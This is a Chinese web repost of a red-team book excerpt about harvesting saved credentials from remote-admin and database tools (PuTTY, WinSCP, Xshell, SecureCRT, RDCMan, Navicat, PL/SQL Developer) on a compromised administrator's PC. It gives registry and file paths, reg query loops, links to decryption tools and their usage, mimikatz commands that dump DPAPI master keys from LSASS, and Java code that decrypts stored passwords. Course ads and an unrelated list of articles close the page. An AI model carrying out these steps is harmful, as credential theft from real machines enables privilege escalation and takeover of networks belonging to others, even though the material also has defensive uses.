获取远程管理软件保存的凭据

news2024/11/19 2:45:47

点击星标,即时接收最新推文

101f4168dc47bd7860ff71235763fa5f.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

a784ac01e46bc614e176413ba6e474ed.png

aa7cfe49649dcbdb258d5f1f15a258d9.png

8a215bbb7a661743bf3a97a700e03e4f.png

内网敏感数据的发现

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。本文重点介绍如何快速定位个人计算机,并对计算机操作系统信息、浏览器登录和使用的历史记录、用户文件操作行为以及聊天软件对话内容等信息进行收集。因此,了解攻击者的操作流程,对内网数据安全防护工作至关重要。

01

da97cea63b2e52a2a580b675c4ad2c6e.png

获取远程管理软件保存的凭据

381eb3bdfb337a0200860180848958e3.png

当我们定位并控制了一台网络管理员或者DBA的个人机后,可以分析其常用的远程管理软件,然后尝试破解其保存在软件内的凭证,从而快速获取管理员拥有的各种权限,进一步控制目标网络。

PuTTY

PuTTY是一个Windows平台的Telnet、SSH、rlogin、纯TCP以及串行接口连接软件。下载地址为:https://www.chiark.greenend.org.uk/~sgtatham/putty/。

PuTTY的连接记录保存在注册表中,默认情况下不支持保存密码:

#连接记录

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

#保存的会话

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions

注册表保存的信息样例如图所示:

bd5f07d1814c18a55ba534012dd288ad.png

PuTTY注册表保存信息

我们可以使用下面的命令查看当前用户的连接记录:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

下面命令可以查看所有用户的连接记录(需要管理员权限):

for /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get sid') do reg query HKEY_USERS\%c\Software\SimonTatham\PuTTY\SshHostKeys

WinSCP

WinSCP是一个Windows环境下使用SSH协议的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。下载地址: https://winscp.net/eng/index.php

管理员如果选择了记住密码,则密码保存在注册表中或者WinSCP.ini中:

# 注册表

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

# 配置文件常见位置

C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系 统)

C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统) C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统)

C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

c:\Users\%username%\documents\

注册表保存的信息,如图所示:

42aec75ecf95039b8b31ad514674d4ae.png

WinSCP注册表保存信息

我们可以使用winscppwd.exe对保存的密码进行解密,如图2-57所示,工具地址https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml

Usage:

        winscppwd.exe [user host pwd|path/to/winscp.ini]

Examples:

        winscppwd.exe foo example.com 0123456789ABCDEF

        winscppwd.exe /tmp/winscp.ini

1eeae4d5417627b1d2bc9d14591d30a5.png

winscppwd.exe解密WinSCP密码

Xmangager系列产品

Xshell 是一个用于 MS Windows 平台的强大的 SSH, TELNET 和 RLOGIN 终端仿真软件。它使得用户能轻松和 安全地从 Windows PC 上访问 UniX/LinuX 主机。

Xftp 是一个用于 MS Windows 平台的强大的 FTP 和 SFTP 文件传输程序。Xftp 能安全地在 UniX/LinuX 和 Windows PC 之间传输文件。

不同版本配置文件保存路径有所不同,具体如下:

Product

Session File Location

XShell 5

%userprofile%\Documents\NetSarang\Xshell\Sessions

XFtp 5

%userprofile%\Documents\NetSarang\Xftp\Sessions

XShell 6

%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

XFtp 6

%userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions

对于Xmangager保存的密码,我们可以使用Xdecrypt.py进行解密,如图所示,工具下载地址为https://github.com/dzxs/Xdecrypt:

usage: Xdecrypt.py [-h] [-s SID] [-p PASSWORD]

xsh, xfp password decrypt

optional arguments:

  -h, --help            show this help message and exit

  -s SID, --sid SID     `username`+`sid`, user `whoami /user` in command.

  -p PASSWORD, --password PASSWORD

                        the password in sessions or path of sessions

b0176bd8df9c58fface98299c5f87e25.png

Xmangager产品密码解密

SecureCRT

Secure CRT 是一款 SSH 客户端软件,为 Windows、Mac 和 Linux 提供了终端模拟,通过先进的会话管理和 一系列节省时间和简化重复性任务的方法来提高生产力。SecureCRT 为你组织中的每个人提供安全的远程访问、文件传输和数据隧道。

SecureCRT配置文件保存路径如下:

%APPDATA%\VanDyke\Config\Sessions\sessionname.ini

# xp/Win2003

C:\Documents and Settings\%USERNAME%\Application Data\VanDyke\Config\Sessions

# Win7/win2008以上

C:\Users\%USERNAME%\AppData\Roaming\VanDyke\Config\Sessions

密文格式不同版本也有所不同:

#7.3.3之前

S:"Password"=c71bd1c86f3b804e42432f53247c50d9287f410c7e59166969acab69daa6eaadbe15c0c54c0e076e945 a6d82f9e13df2

#7.3.3之后

S:"Password V2"= 02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1 fc5cc1ae0ee2930e6af2e5e644a28ebe3fc

对于7.x及以下版本,可以使用SecureCRTCipher.py进行解密,如图2-59所示,下载地址;https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/python3/SecureCRTCipher.py

$ ./SecureCRTCipher.py

Usage:

    SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>

    <enc|dec>              "enc" for encryption, "dec" for decryption.

                           This parameter must be specified.

    [-v2]                  Encrypt/Decrypt with "Password V2" algorithm.

                           This parameter is optional.

    [-p ConfigPassphrase]  The config passphrase that SecureCRT uses.

                           This parameter is optional.

    <plaintext|ciphertext> Plaintext string or ciphertext string.

                           NOTICE: Ciphertext string must be a hex string.

                           This parameter must be specified.

7f9f1bbd8dcdf1a313bc16c773379ad7.png

SecureCRT 7.x以下密码解密

如果上面的脚本无法解密,也可以尝试使用另一个工具SecureCRT-decryptpass.py进行解密,如图所示,下载地址为:

https://github.com/gitPoc32/Forensic/blob/master/VanDykeSecureCRT/SecureCRT-decryptpass.py

4d1db957e36c4c1961e076c4d9279190.png

使用SecureCRT-decryptpass.py解密密码

另外,对于高版本,可以把%APPDATA%\VanDyke\Config\整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。但需要注意的是版本要与目标主机使用的一致,否则可能出问题。

RDCMan

Remote Desktop Connection Manager (RDCMan) 是微软Windows Live体验团队的主要开发者 Julian Burger开发的一个远程桌面管理工具。简称为RDCMan。RDCMan可以集中管理、分类、组织远程桌面,相比Windows系统自带的远程桌面连接工具mstsc.exe要方便、省时的多。

RDCMan可以将连接的远程桌面信息保存为rdg文件。rdg文件内记录了目标IP、端口、登录所用用户名以及经过DPAPI加密的密码密文。

可以在目标主机使用mimikatz进行解密,如图所示:

adf9f9c418a4384ee24b0e4a9be33820.png 在线解密RDCMan密码

也可以在获取masterkry后离线解密,如图所示:

d6f94d65d5e0d503d688263aae57f46f.png 离线解密RDCMan密码

我们可以使用Mimikatz从LSASS进程内存提取Master Key(需管理员权限),如图所示:

mimikatz.exe

privilege::debug

sekurlsa::dpapi

exit

58957a7c800d7a3b368b43fd8cf3f264.png

Master Key提取

Navicat

Navicat是管理员常用的数据库工具,NavicatPremium支持MySQL,MariaDB,Oracle,SQLite, PostgreSQL和Microsoft SQL Server 多种数据库的连接。

Navicat连接凭证存储在注册表中:

Database Type

Path

MySQL

HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ <your connection name>

MariaDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ <your connection name>

MongoDb

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\ <your connection name>

Microsoft SQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ <your connection name>

Oracle

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ <your connection name>

PostgreSQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ <your connection name>

SQLite

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ <your connection name>

注册表保存的信息样例如下,如图所示:

be71b4827b286b2ba2331a0baf1e1b25.png

Navicat注册表保存信息

我们可以使用NavicatCrypto.py对保存的密码进行解密,如图2-65所示,工具下载地址为:

https://github.com/HyperSine/how-does-navicat-encrypt-password/blob/master/python3/NavicatCipher.py

Usage:

    NavicatCrypto.py <enc|dec> [-ncx] <plaintext|ciphertext>

<enc|dec>

[-ncx]

<plaintext|ciphertext>

"enc" for encryption, "dec" for decryption.

This parameter must be specified.

Indicate that plaintext/ciphertext is

prepared for/exported from NCX file.

This parameter is optional.

Plaintext string or ciphertext string.

NOTICE: Ciphertext string must be a hex string.

This parameter must be specified.

d811d454c1bc5c498b51df055da61511.png

Navicat密码解密

PL/SQL Developer

PL/SQL Developer是一个集成开发环境,专门面向Oracle数据库存储程序单元的开发。如今,有越来越多的 商业逻辑和应用逻辑转向了Oracle Server,因此,PL/SQL编程也成了整个开发过程的一个重要组成部分。PL/SQL Developer侧重于易用性、代码品质和生产力,充分发挥Oracle应用程序开发过程中的主要优势。

PL/SQL Developer的凭据保存在如下路径的user.prefs文件的 [LogonHistory] 信息中:

C:\Users\%username%\AppData\Roaming\PLSQL Developer\Preferences\%username%\

C:\Program Files\PLSQL Developer\Preferences\%username%\

C:\Program Files (x86)\PLSQL Developer\Preferences\%username%\

每一行即为一个登录信息,这些信息是加密的,其明文格式如下为 username/password@server。

对于PL/SQL Developer的密码,我们可以使用下面的脚本进行解密,如图所示:

import java.util.ArrayList;

public class decrypt {

public static void decryptPassword(){

        String cryptText = "27364466441245823088463445483550317630583164315848803226352432463480326634363286";

        String plainText = "";

        ArrayList<Integer> values = new ArrayList<Integer>();

        for (int i = 0; i < cryptText.length(); i+= 4){

            values.add(Integer.parseInt((cryptText.substring(i, i + 4))));

        }

        int key = values.get(0);

        values.remove(0);

        for (int i = 0; i < values.size(); i++) {

            int val = values.get(i) - 1000;

            int mask = key + (10 * (i + 1));

            int res = (val ^ mask) >> 4;

            plainText += Character.toString((char)(res));

        }

        System.out.println("plainText:"+plainText);

    }

    public static void main(String[] args) {

        decryptPassword();

    }

 }

98b1aa55615ea8fa724914f2dfe870d3.png

PL/SQL Developer密码解密

—  实验室旗下直播培训课程  —

44016e1204d89656c5bb1945c47e5b9b.png

01b358eaf074d33d32ab4828fc04690e.jpeg

35f208ada583848a221d8fbcb011aa6c.jpegc7672a11d1427a7c64f3cb2a2e4903b4.png

9e23c1b8b1b3fa93e7f3352547b7ad60.png

7701874fb9bdc856101f0a8776313f49.jpeg

c5361b32364836cb22efe72af5453f39.jpeg

377f04277304c7ac55d52725902cfd0a.jpeg

a9a255b41e7ed47184a99980e8b27540.png

和20000+位同学加入MS08067一起学习

379c66154d7bd4e0299e23f4558f9791.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1521433.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言数据结构基础笔记——树、二叉树简介

1.树 树是一种 非线性 的数据结构&#xff0c;它是由 n &#xff08; n>0 &#xff09;个有限结点组成一个具有层次关系的集合。 把它叫做树是因 为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 &#xff08;图片来源于网络&#xff09;…

【Unity】persistentDataPath、streamingAssetsPath和dataPath

介绍 我们在用Unity进行开发时&#xff0c;资源路径是我们最常用到的&#xff0c;下面我就来简单介绍一下几种常用的路径。 1.dataPath dataPath是包含游戏数据文件夹的路径&#xff0c;是app程序包安装路径 Windows: xxx /Assets &#xff08;如下图&#xff09; Mac: xxx…

ideaSSM失物招领管理系统网页模式开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 idea ssm 失物招领管理系统是一套完善的完整信息管理系统&#xff0c;结合SSM框架完成本系统SpringMVC spring mybatis &#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数…

计算机网络笔记(湖科大教书匠版本)

目录 第一章、 ①三种交换方式 ②计算机网络的定义和分类 ③计算机网络的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时间 7.利用率 8.丢包率 ④常见的三种计算机网络体系结构​编辑 ⑤计算机网络体系结构分层的必要性​编辑 第二章、物理层 ①…

【Java】常用类和基础API

文章目录 一、String的特性二、String的内存结构2.1 拼接2.2 new 三、String的常用API-13.1 构造器 四、String的常用API-24.1 常用方法4.2 查找4.3 字符串截取4.4 和字符/字符数组相关4.5 开头与结尾4.6 替换 五、StringBuffer、StringBuilder5.1 StringBuilder、StringBuffer…

应对磁盘管理挑战:Linux磁盘分区挂载命令实践指南

前言 在今天的技术世界中&#xff0c;Linux已成为广泛使用的操作系统之一&#xff0c;而对于运维人员和开发人员来说&#xff0c;磁盘分区挂载是一个至关重要的任务。正确地管理和配置磁盘分区挂载可以极大地提升系统的性能和可靠性&#xff0c;同时也能确保数据的安全性。 通…

【数据结构与算法】:选择排序与快速排序

&#x1f525;个人主页&#xff1a; Quitecoder &#x1f525;专栏&#xff1a;数据结构与算法 我的博客即将同步至腾讯云开发者社区&#xff0c;邀请大家一同入驻&#xff1a;腾讯云 欢迎来到排序的第二个部分&#xff1a;选择排序与快速排序&#xff01; 目录 1.选择排序1.…

电子科技大学链时代工作室招新题C语言部分---题号E

1. 题目 这道题大概的意思是说&#xff0c;一座城市中被埋了许多雷&#xff08;用一个只含0和1的字符串表示城市&#xff0c;1代表有雷&#xff0c;0代表无雷&#xff09;。 你作为一个排雷兵&#xff0c;需要花最少的钱引爆所有的雷来使城市中不再有雷&#xff08;太逆天了&a…

分布式文件存储与数据缓存(一)| FastDFS

目录 分布式文件系统FastDFS概述_简介FastDFS特性&#xff1a;分布式文件服务提供商 FastDFS概述_核心概念trackerstorageclientgroup FastDFS概述_上传机制内部机制如下 FastDFS概述_下载机制内部机制如下 FastDFS环境搭建_Linux下载安装gcc下载安装FastDFS下载安装FastDFS依赖…

Transformer代码从零解读【Pytorch官方版本】

文章目录 1、Transformer大致有3大应用2、Transformer的整体结构图3、如何处理batch-size句子长度不一致问题4、MultiHeadAttention&#xff08;多头注意力机制&#xff09;5、前馈神经网络6、Encoder中的输入masked7、完整代码补充知识&#xff1a; 1、Transformer大致有3大应…

由浅到深认识C语言(6):变量的存储类型

该文章Github地址&#xff1a;https://github.com/AntonyCheng/c-notes 在此介绍一下作者开源的SpringBoot项目初始化模板&#xff08;Github仓库地址&#xff1a;https://github.com/AntonyCheng/spring-boot-init-template & CSDN文章地址&#xff1a;https://blog.csdn…

代码随想录算法训练营第40天 | 343. 整数拆分 ,96.不同的二叉搜索树

动态规划章节理论基础&#xff1a; https://programmercarl.com/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80.html 343. 整数拆分 题目链接&#xff1a;https://leetcode.cn/problems/integer-break/ 思路&#xff1a; 动规五部曲&#xf…

【复现】通天星CMS 安全监控云平台 SQL注入漏洞_64

目录 一.概述 二 .漏洞影响 三.漏洞复现 1. 漏洞一&#xff1a; 四.修复建议&#xff1a; 五. 搜索语法&#xff1a; 六.免责声明 一.概述 通天星CMSV6拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队&#xff0c;专注于为定位、无线视频终端产品提供平…

sqllab第三关通关笔记

知识点&#xff1a; 通过回显的信息判断原始语句的组成猜测该语句为 select 1,2,3 from 表名 where id (输入) limit 0,1 首先通过测试判断存在什么类型的sql注入 构造id1/0 发现正常输出&#xff1b;说明是字符型的sql注入 好了&#xff0c;下面就测试有什么限制条件 构造…

论文阅读——MoCo

Momentum Contrast for Unsupervised Visual Representation Learning 动量在数学上理解为加权移动平均&#xff1a; yt-1是上一时刻输出&#xff0c;xt是当前时刻输入&#xff0c;m是动量&#xff0c;不想让当前时刻输出只依赖于当前时刻的输入&#xff0c;m很大时&#xff0…

使用Laravel开发项目

如何使用Laravel框架开发项目 一、安装Laravel框架 1.在安装Laravel框架钱我们需要先查看要安装的Laravel框架版本以及版本所需要的安装运行条件。 2.配置好安装环境后再安装Laravel框架 2.1.配置安装环境 1&#xff09;PHP版本 2&#xff09;PHP OpenSSL扩展 3&#xff…

Ubuntu查看ros版本-linux查看ros版本

使用ros带的rosversion命令即可查看自己的ros版本&#xff1a; rosversion -d

C语言葵花宝典之——文件操作

前言&#xff1a; 在之前的学习中&#xff0c;我们所写的C语言程序总是在运行结束之后&#xff0c;就会自动销毁&#xff0c;那如果我们想将一个结果进行长期存储应该如何操作呢&#xff1f;这时候就需要我们用文件来操作。 目录 1、什么是文件&#xff1f; 1.1 程序文件 1.2…

C语言 之 结构体超详细总结

&#x1f308; 个人主页&#xff1a;白子寰 &#x1f525; 分类专栏&#xff1a;魔法指针&#xff0c;进阶C&#xff0c;C语言&#xff0c;C语言题集&#xff0c;C语言实现游戏&#x1f448; 希望得到您的订阅和支持~ &#x1f4a1; 坚持创作博文(平均质量分78.8)&#xff0c;分…

docker容器镜像管理

目录 一、 Docker的基本组成 二、 容器和镜像的关系 2.1 面向对象角度 2.2 从镜像容器角度 三、镜像命令 3.1 查看当前已有镜像 3.2 查看已有的全部镜像 3.3 查看镜像ID 3.4 镜像删除 四、 容器命令 4.1 下载镜像 4.2 新建和启动容器 run 4.3 交互式 4.…